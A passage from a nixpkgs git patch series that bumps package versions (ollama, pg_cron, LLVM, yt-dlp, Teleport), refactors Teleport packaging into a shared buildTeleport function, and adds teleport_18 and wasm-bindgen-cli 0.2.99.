     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-rSKuLdfbmAyGTkhfdE9GuywuQweeA5WfNwP/wGMN4So=";
+    hash = "sha256-F5Us1w+QCnWK32noi8vfRwgMofHP9vGiRFfN2UAf1vw=";
   };
 
   vendorHash = "sha256-SlaDsu001TUW+t9WRp7LqxUSQSGDF1Lqu9M1bgILoX4=";

From 4c4752e9a3e0efe8c48a3b88de021167b9102d97 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 8 Sep 2025 12:11:45 +0000
Subject: [PATCH 4370/4511] postgresqlPackages.pg_cron: 1.6.6 -> 1.6.7

(cherry picked from commit c83177793e569fd1cb58db09f1fd9a7e22106f77)
---
 pkgs/servers/sql/postgresql/ext/pg_cron.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_cron.nix b/pkgs/servers/sql/postgresql/ext/pg_cron.nix
index bb5dca058bfe..564ba2a20871 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_cron.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_cron.nix
@@ -7,13 +7,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pg_cron";
-  version = "1.6.6";
+  version = "1.6.7";
 
   src = fetchFromGitHub {
     owner = "citusdata";
     repo = "pg_cron";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-N6lLmfegUeHCpwXztMifTRvajlVLyxL0j+8edouKIOQ=";
+    hash = "sha256-oQjaQeIEMbg5pipY8tT4I7bNdyDOwcr/ZJikqgcEZOs=";
   };
 
   meta = {

From 2fbedb9402972f76c8eb6221a88db7ba073df8fc Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Wed, 3 Sep 2025 06:35:01 -0700
Subject: [PATCH 4371/4511] ci: have `eval.full` return the report as displayed
 in CI

Update the README.md to document what gets returned.
We might in the future split these up into other attrsets but I don't see a usecase for that at the moment.

(cherry picked from commit 07916fc3fd84832119cbc6cd0d70ad9a0fe7c347)
---
 ci/eval/README.md   |  3 +++
 ci/eval/default.nix | 17 ++++++++++++++---
 2 files changed, 17 insertions(+), 3 deletions(-)

diff --git a/ci/eval/README.md b/ci/eval/README.md
index 57cde7c65fe9..2e7ae0d3876b 100644
--- a/ci/eval/README.md
+++ b/ci/eval/README.md
@@ -43,3 +43,6 @@ nix-build ci -A eval.full --arg baseline $BASELINE
 ```
 
 Keep in mind to otherwise pass the same set of arguments for both commands (`evalSystems`, `quickTest`, `chunkSize`).
+Running this command will evaluate the difference between the baseline statistics and the ones at the time of running the command.
+From that difference, it will produce a human-readable report in `$out/step-summary.md`.
+If no packages were added or removed, then performance statistics will also be generated as part of this report.
diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index a379594dbc6d..c7310a5052d0 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -267,6 +267,15 @@ let
       chunkSize ? 5000,
       quickTest ? false,
       baseline,
+      # Which maintainer should be considered the author?
+      # Defaults to nixpkgs-ci which is not a maintainer and skips the check.
+      githubAuthorId ? "nixpkgs-ci",
+      # What files have been touched? Defaults to none; use the expression below to calculate it.
+      # ```
+      # git diff --name-only --merge-base master HEAD \
+      #   | jq --raw-input --slurp 'split("\n")[:-1]' > touched-files.json
+      # ```
+      touchedFilesJson ? builtins.toFile "touched-files.json" "[ ]",
     }:
     let
       diffs = symlinkJoin {
@@ -282,10 +291,12 @@ let
           }
         ) evalSystems;
       };
+      comparisonReport = compare {
+        combinedDir = combine { diffDir = diffs; };
+        inherit touchedFilesJson githubAuthorId;
+      };
     in
-    combine {
-      diffDir = diffs;
-    };
+    comparisonReport;
 
 in
 {

From 9d1fa9fa266631335618373f8faad570df6f9ede Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Sun, 7 Sep 2025 14:02:41 -0700
Subject: [PATCH 4372/4511] llvmPackages_git: 22.0.0-unstable-2025-08-31 ->
 22.0.0-unstable-2025-09-07

(cherry picked from commit e7a609e865e1cc8d2ca543574a2a2b9ca3386c04)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 9acb23c63539..42ce11f95072 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -34,9 +34,9 @@ let
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.1.0-rc1".officialRelease.sha256 = "sha256-EZMG3kNqGTvKSuvslbrtNnyqBCG5C2gN9Y2qHbiuh8Q=";
     "22.0.0-git".gitRelease = {
-      rev = "0b42e117c829c6e127ef4b1bd82807ba01853128";
-      rev-version = "22.0.0-unstable-2025-08-31";
-      sha256 = "sha256-rClCPbTYqw0ZO9dJqJn3bqtuu9yxwcEfJs3vAW2xjAc=";
+      rev = "6fc32e93066c59a39b3c8c9be4e4f416653a917e";
+      rev-version = "22.0.0-unstable-2025-09-07";
+      sha256 = "sha256-CRveujx+4IwaNwopUInRbxdwnQb0bD60fzTfXpNZ3aE=";
     };
   }
   // llvmVersions;

From e21d8c34524cfa1178bab30c65fedbc2ef9ae0cc Mon Sep 17 00:00:00 2001
From: Jost Alemann <alemann@posteo.com>
Date: Sat, 6 Sep 2025 10:12:06 +0200
Subject: [PATCH 4373/4511] yt-dlp: 2025.08.27 -> 2025.09.05

Changelog: https://github.com/yt-dlp/yt-dlp/releases/tag/2025.09.05
Diff: https://github.com/yt-dlp/yt-dlp/compare/2025.08.27...2025.09.05
(cherry picked from commit b78fbae8c0ef8bbb193c8ab3d0a6ab7f19fce113)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index f49335d36e26..8eb6e307a551 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -19,14 +19,14 @@ python3Packages.buildPythonApplication rec {
   # The websites yt-dlp deals with are a very moving target. That means that
   # downloads break constantly. Because of that, updates should always be backported
   # to the latest stable release.
-  version = "2025.08.27";
+  version = "2025.09.05";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "yt-dlp";
     repo = "yt-dlp";
     tag = version;
-    hash = "sha256-E8++/gK/SpY93UW/9U266Qj1Kkn6CeNou7bKTqpCgFw=";
+    hash = "sha256-9y6OUVm6hNTTi5FFmd9DHcmAMrvSmDD+4kDe00aMTDI=";
   };
 
   postPatch = ''

From 1fcc12742d8788b475d3f6d9ec3b1a1119010de7 Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Mon, 26 May 2025 14:48:51 +0300
Subject: [PATCH 4374/4511] teleport: migrate to new buildTeleport

This facilitates using different Go and wasm-bindgen-cli versions more
easily, which will be needed for the new teleport_18 version.

(cherry picked from commit 2dee29888f4022b8017dbe29b37cb5155c859f51)
---
 .../0001-fix-add-nix-path-to-exec-env.patch   |   0
 pkgs/build-support/teleport/default.nix       | 215 ++++++++++++++++++
 .../disable-wasm-opt-for-ironrdp.patch        |   0
 .../teleport/rdpclient.patch                  |   0
 .../te => build-support}/teleport/tsh.patch   |   0
 pkgs/by-name/te/teleport/package.nix          | 211 +----------------
 pkgs/by-name/te/teleport_16/package.nix       |   9 +-
 pkgs/by-name/te/teleport_17/package.nix       |  16 +-
 pkgs/top-level/all-packages.nix               |   2 +
 9 files changed, 240 insertions(+), 213 deletions(-)
 rename pkgs/{by-name/te => build-support}/teleport/0001-fix-add-nix-path-to-exec-env.patch (100%)
 create mode 100644 pkgs/build-support/teleport/default.nix
 rename pkgs/{by-name/te => build-support}/teleport/disable-wasm-opt-for-ironrdp.patch (100%)
 rename pkgs/{by-name/te => build-support}/teleport/rdpclient.patch (100%)
 rename pkgs/{by-name/te => build-support}/teleport/tsh.patch (100%)

diff --git a/pkgs/by-name/te/teleport/0001-fix-add-nix-path-to-exec-env.patch b/pkgs/build-support/teleport/0001-fix-add-nix-path-to-exec-env.patch
similarity index 100%
rename from pkgs/by-name/te/teleport/0001-fix-add-nix-path-to-exec-env.patch
rename to pkgs/build-support/teleport/0001-fix-add-nix-path-to-exec-env.patch
diff --git a/pkgs/build-support/teleport/default.nix b/pkgs/build-support/teleport/default.nix
new file mode 100644
index 000000000000..c44c320addee
--- /dev/null
+++ b/pkgs/build-support/teleport/default.nix
@@ -0,0 +1,215 @@
+{
+  lib,
+  rustPlatform,
+  fetchFromGitHub,
+  fetchpatch,
+  makeWrapper,
+  binaryen,
+  cargo,
+  libfido2,
+  nodejs,
+  openssl,
+  pkg-config,
+  pnpm_10,
+  rustc,
+  stdenv,
+  xdg-utils,
+  wasm-pack,
+  nixosTests,
+}:
+
+{
+  version,
+  hash,
+  cargoHash,
+  pnpmHash,
+  vendorHash,
+  wasm-bindgen-cli,
+  buildGoModule,
+
+  withRdpClient ? true,
+  extPatches ? [ ],
+}:
+let
+
+  # This repo has a private submodule "e" which fetchgit cannot handle without failing.
+  src = fetchFromGitHub {
+    owner = "gravitational";
+    repo = "teleport";
+    tag = "v${version}";
+    inherit hash;
+  };
+  pname = "teleport";
+  inherit version;
+
+  rdpClient = rustPlatform.buildRustPackage (finalAttrs: {
+    pname = "teleport-rdpclient";
+    inherit cargoHash;
+    inherit version src;
+
+    buildAndTestSubdir = "lib/srv/desktop/rdp/rdpclient";
+
+    buildInputs = [ openssl ];
+    nativeBuildInputs = [ pkg-config ];
+
+    # https://github.com/NixOS/nixpkgs/issues/161570 ,
+    # buildRustPackage sets strictDeps = true;
+    nativeCheckInputs = finalAttrs.buildInputs;
+
+    OPENSSL_NO_VENDOR = "1";
+
+    postInstall = ''
+      mkdir -p $out/include
+      cp ${finalAttrs.buildAndTestSubdir}/librdprs.h $out/include/
+    '';
+  });
+
+  webassets = stdenv.mkDerivation {
+    pname = "teleport-webassets";
+    inherit src version;
+
+    cargoDeps = rustPlatform.fetchCargoVendor {
+      inherit src;
+      hash = cargoHash;
+    };
+
+    pnpmDeps = pnpm_10.fetchDeps {
+      inherit src pname version;
+      fetcherVersion = 1;
+      hash = pnpmHash;
+    };
+
+    nativeBuildInputs = [
+      binaryen
+      cargo
+      nodejs
+      pnpm_10.configHook
+      rustc
+      rustc.llvmPackages.lld
+      rustPlatform.cargoSetupHook
+      wasm-bindgen-cli
+      wasm-pack
+    ];
+
+    patches = [
+      ./disable-wasm-opt-for-ironrdp.patch
+    ];
+
+    configurePhase = ''
+      runHook preConfigure
+
+      export HOME=$(mktemp -d)
+
+      runHook postConfigure
+    '';
+
+    buildPhase = ''
+      PATH=$PATH:$PWD/node_modules/.bin
+
+      pushd web/packages
+      pushd shared
+      # https://github.com/gravitational/teleport/blob/6b91fe5bbb9e87db4c63d19f94ed4f7d0f9eba43/web/packages/teleport/README.md?plain=1#L18-L20
+      RUST_MIN_STACK=16777216 wasm-pack build ./libs/ironrdp --target web --mode no-install
+      popd
+      pushd teleport
+      vite build
+      popd
+      popd
+    '';
+
+    installPhase = ''
+      mkdir -p $out
+      cp -R webassets/. $out
+    '';
+  };
+in
+buildGoModule (finalAttrs: {
+  inherit pname src version;
+  inherit vendorHash;
+  proxyVendor = true;
+
+  subPackages = [
+    "tool/tbot"
+    "tool/tctl"
+    "tool/teleport"
+    "tool/tsh"
+  ];
+  tags = [
+    "libfido2"
+    "webassets_embed"
+  ]
+  ++ lib.optional withRdpClient "desktop_access_rdp";
+
+  buildInputs = [
+    openssl
+    libfido2
+  ];
+  nativeBuildInputs = [
+    makeWrapper
+    pkg-config
+  ];
+
+  patches = extPatches ++ [
+    ./0001-fix-add-nix-path-to-exec-env.patch
+    ./rdpclient.patch
+    ./tsh.patch
+  ];
+
+  # Reduce closure size for client machines
+  outputs = [
+    "out"
+    "client"
+  ];
+
+  preBuild = ''
+    cp -r ${webassets} webassets
+  ''
+  + lib.optionalString withRdpClient ''
+    ln -s ${rdpClient}/lib/* lib/
+    ln -s ${rdpClient}/include/* lib/srv/desktop/rdp/rdpclient/
+  '';
+
+  # Multiple tests fail in the build sandbox
+  # due to trying to spawn nixbld's shell (/noshell), etc.
+  doCheck = false;
+
+  postInstall = ''
+    mkdir -p $client/bin
+    mv {$out,$client}/bin/tsh
+    # make xdg-open overrideable at runtime
+    wrapProgram $client/bin/tsh --suffix PATH : ${lib.makeBinPath [ xdg-utils ]}
+    ln -s {$client,$out}/bin/tsh
+  '';
+
+  doInstallCheck = true;
+
+  installCheckPhase = ''
+    export HOME=$(mktemp -d)
+    $out/bin/tsh version | grep ${version} > /dev/null
+    $client/bin/tsh version | grep ${version} > /dev/null
+    $out/bin/tbot version | grep ${version} > /dev/null
+    $out/bin/tctl version | grep ${version} > /dev/null
+    $out/bin/teleport version | grep ${version} > /dev/null
+  '';
+
+  passthru.tests = nixosTests.teleport;
+
+  meta = {
+    description = "Certificate authority and access plane for SSH, Kubernetes, web applications, and databases";
+    homepage = "https://goteleport.com/";
+    license = lib.licenses.agpl3Plus;
+    maintainers = with lib.maintainers; [
+      arianvp
+      justinas
+      sigma
+      tomberek
+      freezeboy
+      techknowlogick
+      juliusfreudenberger
+    ];
+    platforms = lib.platforms.unix;
+    # go-libfido2 is broken on platforms with less than 64-bit because it defines an array
+    # which occupies more than 31 bits of address space.
+    broken = stdenv.hostPlatform.parsed.cpu.bits < 64;
+  };
+})
diff --git a/pkgs/by-name/te/teleport/disable-wasm-opt-for-ironrdp.patch b/pkgs/build-support/teleport/disable-wasm-opt-for-ironrdp.patch
similarity index 100%
rename from pkgs/by-name/te/teleport/disable-wasm-opt-for-ironrdp.patch
rename to pkgs/build-support/teleport/disable-wasm-opt-for-ironrdp.patch
diff --git a/pkgs/by-name/te/teleport/rdpclient.patch b/pkgs/build-support/teleport/rdpclient.patch
similarity index 100%
rename from pkgs/by-name/te/teleport/rdpclient.patch
rename to pkgs/build-support/teleport/rdpclient.patch
diff --git a/pkgs/by-name/te/teleport/tsh.patch b/pkgs/build-support/teleport/tsh.patch
similarity index 100%
rename from pkgs/by-name/te/teleport/tsh.patch
rename to pkgs/build-support/teleport/tsh.patch
diff --git a/pkgs/by-name/te/teleport/package.nix b/pkgs/by-name/te/teleport/package.nix
index e6f772045d2a..93697b54bc97 100644
--- a/pkgs/by-name/te/teleport/package.nix
+++ b/pkgs/by-name/te/teleport/package.nix
@@ -1,212 +1,5 @@
 {
-  lib,
-  buildGo123Module,
-  rustPlatform,
-  fetchFromGitHub,
-  fetchpatch,
-  makeWrapper,
-  binaryen,
-  cargo,
-  libfido2,
-  nodejs,
-  openssl,
-  pkg-config,
-  pnpm_10,
-  rustc,
-  stdenv,
-  xdg-utils,
-  wasm-bindgen-cli_0_2_95,
-  wasm-pack,
-  nixosTests,
-
-  withRdpClient ? true,
-
-  version ? "17.5.4",
-  hash ? "sha256-ojRIyPTrSG3/xuqdaUNrN4s5HP3E8pvzjG8h+qFEYrc=",
-  vendorHash ? "sha256-IHXwCp1MdcEKJhIs9DNf77Vd93Ai2as7ROlh6AJT9+Q=",
-  extPatches ? [ ],
-  cargoHash ? "sha256-qz8gkooQTuBlPWC4lHtvBQpKkd+nEZ0Hl7AVg9JkPqs=",
-  pnpmHash ? "sha256-YwftGEQTEI8NvFTFLMJHhYkvaIIP9+bskCQCp5xuEtY=",
+  teleport_17,
 }:
-let
-  # This repo has a private submodule "e" which fetchgit cannot handle without failing.
-  src = fetchFromGitHub {
-    owner = "gravitational";
-    repo = "teleport";
-    rev = "v${version}";
-    inherit hash;
-  };
-  pname = "teleport";
-  inherit version;
 
-  rdpClient = rustPlatform.buildRustPackage (finalAttrs: {
-    pname = "teleport-rdpclient";
-
-    inherit cargoHash;
-    inherit version src;
-
-    buildAndTestSubdir = "lib/srv/desktop/rdp/rdpclient";
-
-    buildInputs = [ openssl ];
-    nativeBuildInputs = [ pkg-config ];
-
-    # https://github.com/NixOS/nixpkgs/issues/161570 ,
-    # buildRustPackage sets strictDeps = true;
-    nativeCheckInputs = finalAttrs.buildInputs;
-
-    OPENSSL_NO_VENDOR = "1";
-
-    postInstall = ''
-      mkdir -p $out/include
-      cp ${finalAttrs.buildAndTestSubdir}/librdprs.h $out/include/
-    '';
-  });
-
-  webassets = stdenv.mkDerivation {
-    pname = "teleport-webassets";
-    inherit src version;
-
-    cargoDeps = rustPlatform.fetchCargoVendor {
-      inherit src;
-      hash = cargoHash;
-    };
-
-    pnpmDeps = pnpm_10.fetchDeps {
-      inherit src pname version;
-      fetcherVersion = 1;
-      hash = pnpmHash;
-    };
-
-    nativeBuildInputs = [
-      binaryen
-      cargo
-      nodejs
-      pnpm_10.configHook
-      rustc
-      rustc.llvmPackages.lld
-      rustPlatform.cargoSetupHook
-      wasm-bindgen-cli_0_2_95
-      wasm-pack
-    ];
-
-    patches = [
-      ./disable-wasm-opt-for-ironrdp.patch
-    ];
-
-    configurePhase = ''
-      runHook preConfigure
-
-      export HOME=$(mktemp -d)
-
-      runHook postConfigure
-    '';
-
-    buildPhase = ''
-      PATH=$PATH:$PWD/node_modules/.bin
-
-      pushd web/packages
-      pushd shared
-      # https://github.com/gravitational/teleport/blob/6b91fe5bbb9e87db4c63d19f94ed4f7d0f9eba43/web/packages/teleport/README.md?plain=1#L18-L20
-      RUST_MIN_STACK=16777216 wasm-pack build ./libs/ironrdp --target web --mode no-install
-      popd
-      pushd teleport
-      vite build
-      popd
-      popd
-    '';
-
-    installPhase = ''
-      mkdir -p $out
-      cp -R webassets/. $out
-    '';
-  };
-in
-buildGo123Module (finalAttrs: {
-  inherit pname src version;
-  inherit vendorHash;
-  proxyVendor = true;
-
-  subPackages = [
-    "tool/tbot"
-    "tool/tctl"
-    "tool/teleport"
-    "tool/tsh"
-  ];
-  tags = [
-    "libfido2"
-    "webassets_embed"
-  ]
-  ++ lib.optional withRdpClient "desktop_access_rdp";
-
-  buildInputs = [
-    openssl
-    libfido2
-  ];
-  nativeBuildInputs = [
-    makeWrapper
-    pkg-config
-  ];
-
-  patches = extPatches ++ [
-    ./0001-fix-add-nix-path-to-exec-env.patch
-    ./rdpclient.patch
-    ./tsh.patch
-  ];
-
-  # Reduce closure size for client machines
-  outputs = [
-    "out"
-    "client"
-  ];
-
-  preBuild = ''
-    cp -r ${webassets} webassets
-  ''
-  + lib.optionalString withRdpClient ''
-    ln -s ${rdpClient}/lib/* lib/
-    ln -s ${rdpClient}/include/* lib/srv/desktop/rdp/rdpclient/
-  '';
-
-  # Multiple tests fail in the build sandbox
-  # due to trying to spawn nixbld's shell (/noshell), etc.
-  doCheck = false;
-
-  postInstall = ''
-    mkdir -p $client/bin
-    mv {$out,$client}/bin/tsh
-    # make xdg-open overrideable at runtime
-    wrapProgram $client/bin/tsh --suffix PATH : ${lib.makeBinPath [ xdg-utils ]}
-    ln -s {$client,$out}/bin/tsh
-  '';
-
-  doInstallCheck = true;
-
-  installCheckPhase = ''
-    $out/bin/tsh version | grep ${version} > /dev/null
-    $client/bin/tsh version | grep ${version} > /dev/null
-    $out/bin/tbot version | grep ${version} > /dev/null
-    $out/bin/tctl version | grep ${version} > /dev/null
-    $out/bin/teleport version | grep ${version} > /dev/null
-  '';
-
-  passthru.tests = nixosTests.teleport;
-
-  meta = {
-    description = "Certificate authority and access plane for SSH, Kubernetes, web applications, and databases";
-    homepage = "https://goteleport.com/";
-    license = lib.licenses.agpl3Plus;
-    maintainers = with lib.maintainers; [
-      arianvp
-      justinas
-      sigma
-      tomberek
-      freezeboy
-      techknowlogick
-      juliusfreudenberger
-    ];
-    platforms = lib.platforms.unix;
-    # go-libfido2 is broken on platforms with less than 64-bit because it defines an array
-    # which occupies more than 31 bits of address space.
-    broken = stdenv.hostPlatform.parsed.cpu.bits < 64;
-  };
-})
+teleport_17
diff --git a/pkgs/by-name/te/teleport_16/package.nix b/pkgs/by-name/te/teleport_16/package.nix
index 62921b92b311..2ef76956122c 100644
--- a/pkgs/by-name/te/teleport_16/package.nix
+++ b/pkgs/by-name/te/teleport_16/package.nix
@@ -1,10 +1,15 @@
 {
-  teleport,
+  buildTeleport,
+  buildGo123Module,
+  wasm-bindgen-cli_0_2_95,
 }:
-teleport.override {
+buildTeleport rec {
   version = "16.5.13";
   hash = "sha256-X9Ujgvp+2dFCoku0tjGW4W05X8QrnExFE+H1kMhf91A=";
   vendorHash = "sha256-0+7xbIONnZs7dPpfpHPmep+k4XxQE8TS/eKz4F5a3V0=";
   pnpmHash = "sha256-waBzmNs20wbuoBDObVFnJjEYs3NJ/bzQksVz7ltMD7M=";
   cargoHash = "sha256-04zykCcVTptEPGy35MIWG+tROKFzEepLBmn04mSbt7I=";
+
+  wasm-bindgen-cli = wasm-bindgen-cli_0_2_95;
+  buildGoModule = buildGo123Module;
 }
diff --git a/pkgs/by-name/te/teleport_17/package.nix b/pkgs/by-name/te/teleport_17/package.nix
index 9e9d580d4c33..68e642564971 100644
--- a/pkgs/by-name/te/teleport_17/package.nix
+++ b/pkgs/by-name/te/teleport_17/package.nix
@@ -1,4 +1,16 @@
 {
-  teleport,
+  buildTeleport,
+  buildGo123Module,
+  wasm-bindgen-cli_0_2_95,
 }:
-teleport
+
+buildTeleport rec {
+  version = "17.5.4";
+  hash = "sha256-ojRIyPTrSG3/xuqdaUNrN4s5HP3E8pvzjG8h+qFEYrc=";
+  vendorHash = "sha256-IHXwCp1MdcEKJhIs9DNf77Vd93Ai2as7ROlh6AJT9+Q=";
+  cargoHash = "sha256-qz8gkooQTuBlPWC4lHtvBQpKkd+nEZ0Hl7AVg9JkPqs=";
+  pnpmHash = "sha256-YwftGEQTEI8NvFTFLMJHhYkvaIIP9+bskCQCp5xuEtY=";
+
+  wasm-bindgen-cli = wasm-bindgen-cli_0_2_95;
+  buildGoModule = buildGo123Module;
+}
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 862b7fb44364..1a9730d9e202 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -4534,6 +4534,8 @@ with pkgs;
 
   teamviewer = libsForQt5.callPackage ../applications/networking/remote/teamviewer { };
 
+  buildTeleport = callPackage ../build-support/teleport { };
+
   telepresence = callPackage ../tools/networking/telepresence {
     pythonPackages = python3Packages;
   };

From 25ef88b40f85c3a10e9bdb88dc8808439fb8a86c Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Mon, 26 May 2025 14:50:46 +0300
Subject: [PATCH 4375/4511] wasm-bindgen-cli_0_2_99: init at 0.2.99

This is needed for teleport_18

(cherry picked from commit c6d1d4dd2cd4f359770310e342124aca57299b7b)
---
 .../wa/wasm-bindgen-cli_0_2_99/package.nix    | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)
 create mode 100644 pkgs/by-name/wa/wasm-bindgen-cli_0_2_99/package.nix

diff --git a/pkgs/by-name/wa/wasm-bindgen-cli_0_2_99/package.nix b/pkgs/by-name/wa/wasm-bindgen-cli_0_2_99/package.nix
new file mode 100644
index 000000000000..59a40d35f557
--- /dev/null
+++ b/pkgs/by-name/wa/wasm-bindgen-cli_0_2_99/package.nix
@@ -0,0 +1,19 @@
+{
+  buildWasmBindgenCli,
+  fetchCrate,
+  rustPlatform,
+}:
+
+buildWasmBindgenCli rec {
+  src = fetchCrate {
+    pname = "wasm-bindgen-cli";
+    version = "0.2.99";
+    hash = "sha256-1AN2E9t/lZhbXdVznhTcniy+7ZzlaEp/gwLEAucs6EA=";
+  };
+
+  cargoDeps = rustPlatform.fetchCargoVendor {
+    inherit src;
+    inherit (src) pname version;
+    hash = "sha256-HGcqXb2vt6nAvPXBZOJn7nogjIoAgXno2OJBE1trHpc=";
+  };
+}

From 21037c0b4c8f5aeec1cc633bdb4e11229837fe53 Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Mon, 26 May 2025 14:52:31 +0300
Subject: [PATCH 4376/4511] teleport_18: init at 18.1.1

(cherry picked from commit f073e6214c3f901184a625869c8761b6ae6f892f)
---
 nixos/tests/teleport.nix                |  1 +
 pkgs/by-name/te/teleport_18/package.nix | 16 ++++++++++++++++
 2 files changed, 17 insertions(+)
 create mode 100644 pkgs/by-name/te/teleport_18/package.nix

diff --git a/nixos/tests/teleport.nix b/nixos/tests/teleport.nix
index e9b3193448d3..6b8acb332c43 100644
--- a/nixos/tests/teleport.nix
+++ b/nixos/tests/teleport.nix
@@ -11,6 +11,7 @@ let
   packages = with pkgs; {
     "16" = teleport_16;
     "17" = teleport_17;
+    "18" = teleport_18;
   };
 
   minimal = package: {
diff --git a/pkgs/by-name/te/teleport_18/package.nix b/pkgs/by-name/te/teleport_18/package.nix
new file mode 100644
index 000000000000..72a558a5e20b
--- /dev/null
+++ b/pkgs/by-name/te/teleport_18/package.nix
@@ -0,0 +1,16 @@
+{
+  buildTeleport,
+  buildGo124Module,
+  wasm-bindgen-cli_0_2_99,
+}:
+
+buildTeleport rec {
+  version = "18.1.1";
+  hash = "sha256-xhf6WwgR3VwjtvFo0/b9A0RcyY7dklPfPUakludUmm8=";
+  vendorHash = "sha256-63pqTI92045/V8Gf+TDKUWLV9eO4hVKOHtgWbYnAf6I=";
+  pnpmHash = "sha256-ZuMMacsyr2rGLVDlaEwA7IbZZfGBuTRBOv4Q6XIjDek=";
+  cargoHash = "sha256-ia4We4IfIkqz82aFMVvXdzjDXw0w+OJSPVdutfau6PA=";
+
+  wasm-bindgen-cli = wasm-bindgen-cli_0_2_99;
+  buildGoModule = buildGo124Module;
+}

From 6dc0ee4377591fd7fe03ddbb26555e680b6da567 Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Mon, 28 Jul 2025 11:45:08 +0200
Subject: [PATCH 4377/4511] teleport_16: 16.5.13 -> 16.5.14

Changelog: https://github.com/gravitational/teleport/releases/tag/v16.5.14
Diff: https://github.com/gravitational/teleport/compare/v16.5.13...v16.5.14
(cherry picked from commit 5fdc599923e1fbf57d6c023fe418945c4a3167e8)
---
 pkgs/by-name/te/teleport_16/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/te/teleport_16/package.nix b/pkgs/by-name/te/teleport_16/package.nix
index 2ef76956122c..2361a28f817b 100644
--- a/pkgs/by-name/te/teleport_16/package.nix
+++ b/pkgs/by-name/te/teleport_16/package.nix
@@ -4,10 +4,10 @@
   wasm-bindgen-cli_0_2_95,
 }:
 buildTeleport rec {
-  version = "16.5.13";
-  hash = "sha256-X9Ujgvp+2dFCoku0tjGW4W05X8QrnExFE+H1kMhf91A=";
-  vendorHash = "sha256-0+7xbIONnZs7dPpfpHPmep+k4XxQE8TS/eKz4F5a3V0=";
-  pnpmHash = "sha256-waBzmNs20wbuoBDObVFnJjEYs3NJ/bzQksVz7ltMD7M=";
+  version = "16.5.14";
+  hash = "sha256-24NVmJ97igUs45Ruuj9llRcHVsGMU1dtRm8f4R0pYG4=";
+  vendorHash = "sha256-PDgrfol2zrmS8yzvJQoK486nl+akD9LP4Sh5IVz/jNE=";
+  pnpmHash = "sha256-b6D7i68rX47+thleTeEfW+G72NxuqWNLmNXxJqe8ha8=";
   cargoHash = "sha256-04zykCcVTptEPGy35MIWG+tROKFzEepLBmn04mSbt7I=";
 
   wasm-bindgen-cli = wasm-bindgen-cli_0_2_95;

From 48e58b28b4ec80d8c6bab538ddbb7684c6704dfa Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Mon, 28 Jul 2025 11:45:49 +0200
Subject: [PATCH 4378/4511] teleport_17: 17.5.4 -> 17.7.0

Changelogs: https://github.com/gravitational/teleport/releases/tag/v17.5.5 https://github.com/gravitational/teleport/releases/tag/v17.5.6 https://github.com/gravitational/teleport/releases/tag/v17.6.0 https://github.com/gravitational/teleport/releases/tag/v17.7.0
Diff: https://github.com/gravitational/teleport/compare/v17.5.4...v17.7.0

Also add fix for error: "ERROR: mkdir /homeless-shelter: permission denied"

(cherry picked from commit 475e7fd75d2b2811365f800e031e2d25af33bbcc)
---
 pkgs/by-name/te/teleport_17/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/te/teleport_17/package.nix b/pkgs/by-name/te/teleport_17/package.nix
index 68e642564971..7281deb93503 100644
--- a/pkgs/by-name/te/teleport_17/package.nix
+++ b/pkgs/by-name/te/teleport_17/package.nix
@@ -5,11 +5,11 @@
 }:
 
 buildTeleport rec {
-  version = "17.5.4";
-  hash = "sha256-ojRIyPTrSG3/xuqdaUNrN4s5HP3E8pvzjG8h+qFEYrc=";
-  vendorHash = "sha256-IHXwCp1MdcEKJhIs9DNf77Vd93Ai2as7ROlh6AJT9+Q=";
+  version = "17.7.0";
+  hash = "sha256-+NfYpA6BDpD0/YCMj2y2torgw/ihd279SLTmPySIqvk=";
+  vendorHash = "sha256-NWZKLiub68OR0U3RkCOLCe4vrzXdOCitYm3ITOU3nhk=";
   cargoHash = "sha256-qz8gkooQTuBlPWC4lHtvBQpKkd+nEZ0Hl7AVg9JkPqs=";
-  pnpmHash = "sha256-YwftGEQTEI8NvFTFLMJHhYkvaIIP9+bskCQCp5xuEtY=";
+  pnpmHash = "sha256-I1mQ/F1ethOPA0jlrN+3ClByk7Ifw6LPbgjSvPx44D4=";
 
